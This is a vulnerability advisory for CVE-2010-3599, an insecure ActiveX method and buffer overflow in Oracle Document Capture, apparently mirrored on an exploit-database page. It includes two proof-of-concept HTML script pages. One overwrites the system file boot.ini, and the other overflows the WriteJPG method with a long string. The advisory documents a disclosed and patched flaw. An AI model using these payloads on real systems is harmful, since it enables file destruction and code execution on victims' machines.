Lucene search
K

Oracle Document Capture 10.1.3.5 Insecure Method / Buffer Overflow

🗓️ 26 Jan 2011 00:00:00Reported by Alexandr PolyakovType 
zdt
 zdt
🔗 0day.today👁 34 Views

Oracle Document Capture 10.1.3.5 Insecure Method / Buffer Overflow identified in NCSECWLib ActiveX contro

Related
Code
Application:                    Oracle Document Capture
Versions Affected:              Oracle Document Capture 10.1.3.5
Vendor URL:                     http://oracle.com
Bugs:                           Insecure method. Buffer overflow.
Exploits:                       YES
Reported:                       14.12.2009
Vendor response:                15.12.2009
Date of Public Advisory:        24.01.2011
CVE:                            CVE-2010-3599
Author:                         Alexandr Polyakov from DSecRG
 
Description
***********
 
Insecure method was founded in NCSECWLib ActiveX control component which is a part of  Oracle Document Capture .
One of the methods (WriteJPG) can be used to overwrite files on users system and also affected to buffer overflow.
 
 
 
 
Details
*******
 
Attacker can construct html page which call vulnerable function "WriteJPG" from ActiveX Object NCSECWLib.
 
Example 1 (file overwrite)
*******
 
 
<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype  = "Sub WriteJPG ( ByVal OutputFile As String ,  ByVal Quality As Long ,  ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid     = "NCSECWLib.NCSRenderer"
argCount   = 3
 
arg1="c:\boot.ini"
arg2=1
arg3=True
 
target.WriteJPG arg1 ,arg2 ,arg3
 
</script>
</html>
 
 
Example 2
*******
 
<html>
<script>
targetFile = "C:\Program Files\Oracle\Document Capture\NCSEcw.dll"
prototype  = "Sub WriteJPG ( ByVal OutputFile As String ,  ByVal Quality As Long ,  ByVal bWriteWorldFile As Boolean )"
memberName = "WriteJPG"
progid     = "NCSECWLib.NCSRenderer"
argCount   = 3
 
arg1=String(13332, "A")
arg2=1
arg3=True
 
target.WriteJPG arg1 ,arg2 ,arg3
 
</script></job></package>
 
 
References
**********
 
http://dsecrg.com/pages/vul/show.php?id=306
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
 
 
 
 
Fix Information
*************
 
Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:
 
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html



#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation